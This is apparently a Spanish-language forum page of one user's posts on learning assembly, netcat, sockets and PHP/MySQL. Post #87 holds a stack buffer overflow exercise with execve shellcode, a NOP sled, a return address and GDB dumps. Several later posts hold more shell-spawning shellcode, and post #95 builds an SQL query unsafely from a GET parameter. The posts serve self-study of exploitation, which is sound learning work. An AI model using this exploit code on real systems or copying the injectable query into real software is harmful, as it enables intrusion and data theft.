Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - proxy_lainux

#81
ya lo logre, no se que hice pero despues de unos intentos se conecto, y lo volvi a intentar por si solo fue suerte y aun sigue conectadose

gracias, salu2
#82
si, me aparece

nc -l -p 8888
listening on [any] 8888...

pero en linux me aparece

nc 192.168.2.21 -p 8888 -v
Ncat: Version 6.40 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
Ncat: Connection timed out.

para evitar problemas con el firewall de windows, quite netcat de la lista del firewall y cuando lo volvi a ejecutar me asegure de volver a darle permiso de conexion y de que aparezca nuevamente en la lista y como es virtualizado no tengo antivirus ni tampoco algun otro firewall

#83
es sencillo

Tengo en mi computadora linux, en virtualbox tengo windows
Vrtualbox lo pase de NAT a bridge(puente), para utilizar una ip de mi router

por ejemplo

linux 192.168.2.45
virtualbox 192.168.2.47

tengo dos netcat, uno en windows y otro en linux

y quiero conectar netcat de linux con el netcat de windows

linux - nc 192.168.2.47 -p 8888
windows - nc -l -p 8888

pero no lo logro, solo encuentro informacion para SQL o paginas web

y me gustaria saber como hacerlo porque quiero hacer pruebas programando en ensamblador un socket en windows y otro en linux y lograr una conexion entre los dos parecido a netcat
#84
hola

alguien sabe como puedo conectarme a virtualbox mediante netcat?, lo que sucede es que quiero hacer un socket que funcione en una maquina virtual con windows y otro socket que se conecte a la maquina virtual desde linux

Pero primero quiero lograr hacer esa conexion usando netcat, para saber como voy a configurar la red, en este momento tengo a virtualbox como bridge, si hago un escaneo con nmap me aparecen los puertos por default abiertos, tambien tengo dos netcat, uno en windows y otro en linux donde a cada uno lo configuro como "escucha" y otro como "conectar", pero no se logra esa conexion, el firewall de windows abrio el puerto cuando ejecute pro primera vez netcat, asi que me imagino que esta el puerto abierto, pero no funciona

alguien sabe como lograr esa conexion?

salu2
#85
hola

gracias, ya funciona

eso explica porque tuve que usar registros que no usaba en 64bits..

gracias nuevamente

salu2
#86
hola

Este codigo lo hice anteriormente para 64 bits y funciona bien, pero ahora quise hacer unos cambios para volverlo a 32bits como los registros, rax, rbx, etc... a eax, ebx,.. etc, las funciones externas tuve que hacer algunos cambios que me pedia el compilador

Pero no funciona, lo analice con ollydbg y el error sale desde el inicio, WSAStartup, lo que no entiendo es porque ya no funciono?, no se si es por el compilador, o porque lo modifique mal... podria alguien hacerme el favor de verificarlo porfavor

lo estoy haciendo en masm32, lm y link

asi lo compilo

ml /coff /c serv.asm
link /entry:Start /subsystem:console /libpath:c:/masm32/lib kernel32.lib ws2_32.lib serv.obj

Este es el codigo

Código: asm
.686
.model flat, stdcall
option casemap:none

extrn ExitProcess@4:PROC
extrn WSAStartup@8:PROC
extrn socket@12:PROC
extrn connect@12:PROC
extrn send@16:PROC

WSADATA STRUCT 8
wVersion          WORD  ?
wHighVersion      WORD  ?
iMaxSocket        WORD  ?
iMaxUdpDg         WORD  ?
lpVendorInfo      DWORD ?
szDescription     SBYTE 257 dup (?)
szSystemStatus    SBYTE 129 dup (?)
WSADATA ENDS

sockaddr STRUCT
sa_family   WORD ?
sa_port     WORD  ?
sa_addr     DWORD ?
            BYTE 8 dup (?)
sockaddr ENDS

.const
address sockaddr<2, 0B922h, 0100007Fh>
sbuff BYTE "hola mundo",0

.data?
wsadata WSADATA <>
Socket DWORD ?

.code

Start proc
push ebp
mov ebp, esp

lea edx, wsadata
mov ecx, 2h
call WSAStartup@8

mov edx, 0h
mov ecx, 1h
mov ebx, 2h
call socket@12
mov Socket, eax

mov edx, 16h
lea ecx, address
mov ebx, Socket
call connect@12

mov edx, 0h
mov ecx, SIZEOF sbuff
mov ebx, offset sbuff
mov eax, Socket
call send@16

mov eax, 0
call ExitProcess@4

mov esp, ebp
pop ebp

Start endp
END

#87
Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

Código: c
    #include <stdio.h>
    #include <string.h>
     
    main(int argc, char **argv){
     
       char buffer[80];
       strcpy(buffer, argv[1]);
     
       return 1;
    }


Este es el codigo del exploit

Código: asm
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

// shellcode ripped from http://www.milw0rm.com/shellcode/444

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xaa\xaa\xaa\xaa";

#define NOP 0x90


main()
{
       char buffer[96];

       memset(buffer, NOP, 96);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+88, retaddr, 4);
       memcpy(buffer+92, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}


Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

Código: c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xe0\xcf\xff\xff";

#define NOP 0x90


main()
{
       char buffer[92];

       memset(buffer, NOP, 92);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+84, retaddr, 4);
       memcpy(buffer+88, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}


pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
#88
hola

Pues esta solucionado a medias, saque los opcodes, los ejecute como cualquier shellcode en C y me funciono, pero cuando ejecuto el archivo en ASM no funciona, talvez es por meter el string en text, o no tengo idea de porque produce ese fallo
#89
si sirve de algo, escribi el codigo del ejemplo, es para AT&T, tambien lo compile pero me muestra el mismo error

Código: asm
.text

.global _start

_start:

jmp MyCallStatement

ShellCode:

popl %esi
xorl %eax, %eax
movb %al, 0x9(%esi)
movl %esi, 0xa(%esi)
movl %eax, 0xe(%esi)

movb $11, %al
movl %esi, %ebx
leal 0xa(%esi), %ecx
leal 0xe(%esi), %edx
int $0x80

MyCallStatement:

call ShellCode
ShellVariables:
         .ascii "/bin/bashABBBBCCCC"
#90
hola

Estaba haciendo una practica de los videos de open security training, pero tengo un problema en una shellcode, tengo una violacion de segmento al momento de ejecutar bash

en el video muestra como reemplazar alguno caracteres para eliminar los null y que la shellcode se ejecute, por ejemplo

/bin/bashABBBBCCCC

al reemplazarlo quedaria

/bin/bash089340000

que seria la ejecucion de execve

int execve(const char *filename, char *const argv[], char *const envp[])

asi es como lo hice

Código: asm
[BITS 32]

section .text

global _start

_start:

jmp callstatment

shellcode:

pop esi
xor eax, eax
mov byte[esi + 0x9], al
mov dword[esi + 0xA], esi
mov dword[esi + 0xE], eax

mov byte al, 11
mov ebx, esi
lea ecx, [esi + 0x9]
lea edx, [esi + 0xE]
int 0x80


callstatment:

call shellcode
shellvariable: db "/bin/bashABBBBCCCC",0


pero me dice que hay una violacion de segmento, hice una depuracion con GDB y me sale este mensaje

Código: php
0x08048065 in shellcode ()


y en esa direccion se encuentra

Código: php
 Dump of assembler code for function shellcode:
   0x08048062 <+0>: pop    %esi
   0x08048063 <+1>: xor    %eax,%eax
=> 0x08048065 <+3>: mov    %al,0x9(%esi)
   0x08048068 <+6>: mov    %esi,0xa(%esi)
   0x0804806b <+9>: mov    %eax,0xe(%esi)
   0x0804806e <+12>: mov    $0xb,%al
   0x08048070 <+14>: mov    %esi,%ebx
   0x08048072 <+16>: lea    0x9(%esi),%ecx
   0x08048075 <+19>: lea    0xe(%esi),%edx
   0x08048078 <+22>: int    $0x80


Imagino que entonces el error se produce aqui

Código: php
mov byte[esi + 0x9], al


Alguien sabe que podria estar fallando?


#91
jajaja, que torpe me senti, jaja ya lo solucione

Código: php
  $mysql = new mysqli("localhost", "root", "pass", "prueba");


este era mi error... una simple "i"

Código: php
  $mysqli = new mysqli("localhost", "root", "pass", "prueba");


muchas gracias por tu ayuda destructor.php

salu2 ;D

:-[
#92
creo el error es parte ya sea del explorador o de linux o de las dos, me pase un momento a windows para realizar el codigo de consulta a mysql como me dijiste, instale wampserv y me funciono, ya me aparece el resultado

???, pero que me hara falta en linux??

EDITADO

-------------

coloque este ejemplo y me funciono json, es algo raro, pero sigue sin funcionar consulta.php en linux


<?php
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);

echo json_encode($arr);
?>


#93
no me aparece el mensaje, si coloco un echo fuera de if, si me aparece un mensaje, pero dentro no aparece ninguno
#94
ya lo intente de las dos formas pero no me muestra nada, tambien lo quise hacer directamente

("SELECT * FROM tablaprueba where cedula = 123456")

no se si sirva de algo, pero estoy usando apache2 en linux, talvez me haga falta algo para usar json o porque sera no me aparecera el resultado?

tambien ya intente borrando el cache del explorador
#95
hola

estoy haciendo un codigo sencillo para aprender como usar funciones en php, hice 2 archivos, uno es para registar datos a mysql, y el segundo es para consultar

pero tengo un problema en el archivo de consulta, no me aparece nada, unicamente puedo registar datos

este es el codigo para consulta

Código: php
<?php

include('funcion.php');

$cc=$_GET['cedula'];

if($resultset = getSQLResultSet("SELECT cedula,nombre,apellido,direccion,telefono FROM `tablaprueba` where cedula = '$cc'")){
   
    while($row = $resultset->fetch_array(MYSQLI_NUM)){
        echo json_encode($row);
    }
}

?>


y esta es la funcion

Código: php


header('Content Type= text/html; charset=utf-8');

function getSQLResultSet($commando){
   
    $mysql = new mysqli("localhost", "root", "pass", "prueba");
   
    if($mysqli->connect_errno){
       
        printf("conexion fallida: %s", $mysqli->connect_errno);
        exit();
    }
   
    if($mysqli->multi_query($commando)){
       
        return $mysqli->store_result();
    }
    $mysqli->close();
}

?>


que error podria tener?, ya que no me muestra ningun resultado

el "primary key" de la base de datos es "cedula", lo cual hago lo siguiente para que me muestre el resultado de la cedula que solicito

localhost/consulta.php?cedula=123456

pero no me muestra nada el explorador, utilizo firefox

salu2
#96
ok, entiendo

buscando en google encontre un codigo que simula un strcmp, de alli saque la idea, ya que al principio solo hacia una comparacion del primer byte, y despues se me ocurrio usar cmpsb

entonces de que forma analiza una cadena este codigo?, yo creia que analizaba el primer byte, despues avanzaba 4 bytes de la cadena guardada y analizaba el siguiente byte, hasta encontrar un null

Código: asm
    ; -------------------------------------------------
    ; int strcmp(char *a, char *b)
    ; -------------------------------------------------
    strcmp:
       push ebx
       strcmp_loop:
          mov    eax, [esp + 0x08]
          mov    al, byte [eax]
          mov    ebx, [esp + 0x0C]
          cmp    al, byte [ebx]
          jne    strcmp_not_equal
          cmp    al, 0
          je    strcmp_equal
          inc   dword [esp + 0x0C]
          inc    dword [esp + 0x08]
          jmp    strcmp_loop
       
       strcmp_not_equal:
          mov    eax, 0
          jmp    strcmp_end
       
       strcmp_equal:
          mov    eax, 1
         
    strcmp_end:
       pop    ebx
       ret    8
       
#97
hola

tengo una duda, cuando comparo cadena de caracteres, he estado utilizando cmpsb, por ejemplo

Código: asm
mov ecx, 5
mov edi, buf1
mov esi, replu
cld
repe cmpsb
je plus


el problema es que tengo que especificar a ecx la cantidad de caracteres, entonces se me ocurrio mejor analizar byte por byte y al encontrar un null brincar a la siguiente instruccion, asi que hice esto

Código: asm
st_lo:
mov al, byte[buf1]
mov bl, byte[replu]
cmp al, bl
jne end
cmp al, 0
je plus
inc byte[buf1]
inc byte[replu]
jmp st_lo


el objetivo era mover 1 byte a bl y al, si al compararlo no es igual entonces terminar el programa, despues volverlo a comparar, si es 0 queria decir que es el fin de la cadena y brincar a la funcion, pero si tampoco era el final de la cadena, incrementar 1 byte en el buffer que contiene la palabra para avanzar a la siguiente letra, y tambien incrementar 1 byte en en la variable replu para avanzar a la siguiente letra

entonces si yo escribo

"hola", queria que se compara letra por letra hasta encontrar el null, 'h','o','l','a','/0' <-- si es igual 0 y 0 (jmp)

el problema es que con solo escribir 'h', avanza...que es lo que estoy haciendo mal? y eso podria funcionar?
#98
Citarsi estas bien amigo sigue asi y seras alguen en la vida ;D

jajaja ok gracias  ;D
#99
no es un codigo completo, solo intento saber si estoy usando de forma correcta EBP y ESP, el codigo lo puse como seguimiento de la explicacion, y solo necesito saber si mi explicacion es correcta

push ebp
mov ebp, esp

mov esp, ebp
pop ebp

en otras palabras, "teoricamente", estoy entendiendo como funciona EBP y ESP en el stack?, si quieren no vean el codigo, mi duda esta en medio de "| |"


#100
hola

estaba estudiando con los videos de security training, pero me surgio una duda sobre el uso de funciones y el stack

voy a poner un ejemplo de como es que yo entiendo que trabaja esp y ebp, para utilizar funciones

Código: asm
push 12  
push 20
---------------------
|12| 12 bytes  <<-------------       
|20| 8 bytes     <<-------------       
|ret| 4 bytes  <<-------------       
--------------------------

call suma

----------------------------

suma:
push ebp

|12| 12 bytes              <<-------------       
|20| 8 bytes                <<-----------------------
|ret| 4 bytes               <<-------------       
|EBP| - antigua direccion           <<-------------       
--------------------------

mov ebp, esp

|ret| 4 bytes                                                   <<-------------       
|EBP|  - antigua direccion - 4 bytes              <<-------------
|12| 8 bytes                                                   <<-------------       
|20| 12 bytes                                             <<-------------       

mov ah, 1
mov bh, 4
mov cx, [ebp - 8]
mov dx, [ebp - 12]
add cx, dx
int 0x80
--------------------------

mov esp, ebp

|12| 12 bytes                       <<-------------       
|20| 8 bytes                         <<-------------       
|ret| 4 bytes                          <<-------------       
|EBP| - antigua direccion           <<-------------       
-------------------------------

pop ebp

|12| 12 bytes           <<-------------       
|20| 8 bytes             <<-------------       
|ret| 4 bytes            <<-------------       

---------------

salida del programa

mov ah, 1
int 0x80

--------------------------



espero me puedan decir si estoy bien, o estoy equivocado, y ojala alguien pueda explicarme como funciona en realidad

salu2